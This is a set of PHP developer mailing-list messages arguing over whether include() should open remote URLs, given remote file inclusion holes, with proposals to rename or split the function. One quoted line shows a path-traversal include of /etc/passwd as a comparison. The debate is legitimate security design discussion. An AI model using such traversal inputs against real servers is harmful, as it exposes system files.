Derrell.Lipman@UnwiredUniverse.com wrote:
Jani Taskinen sniper@iki.fi writes:
Please troll, do you go away if I close my eyes?That's not fair. Russell is providing strong arguments and rebuttals for
every point. You may not agree with his points, but what he's doing is not
trolling. This discussion seems to have strong backing on both sides of the
issue.i agree full!
isnt it possible to add a check to the include*()/require*() statement
that checks the parameter for existence in the superglobal $_REQUEST
No, this is technically not possible, now go play somewhere else.
Derick
--
Derick Rethans
http://derickrethans.nl | http://ez.no | http://xdebug.org
Jani Taskinen writes:
Please troll, do you go away if I close my eyes?
No, in fact, I don't. I'm not trolling. I'm pointing to factual
evidence that your replies cannot explain. Lots of people have said
"Oh, well, just turn off that feature, or tell your users not to use
it, or stop using php." If I'm trolling, then they're trolling.
I realize that it's frustrating, difficult and annoying to be told
that you're wrong. But it's not me that's telling you that. It's the
facts. I'm just pointing out the facts. If I stop, the facts will
still remain. If you close your eyes, the facts will still remain.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Rasmus Lerdorf writes:
How is this any different from
include "../../../../../etc/passwd";
That doesn't let you execute hostile content with local privs.
There are a lot of places where unfiltered user input can cause some
rather severe problems.
I agree! And yet .... there is plenty of evidence that include
among all the language intrinsics is a problem. 'system' has obvious
sharp edges. 'include' does not. I'm asking you to make the sharp
edges obvious or else blunt them. Renaming 'include' to
'includeremotesecurityhole' is one way. Removing the URL fopening
ability from 'include' and adding a new intrinsic called
'includeremote' would do it too.
By the way, remember the 'Open Source' logo contest that you ran for
us? We printed it up on t-shirts for FISL 6.0 a month ago. I'll be
happy to send you one if you want. Specify yellow, black, or black
long-sleeved.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.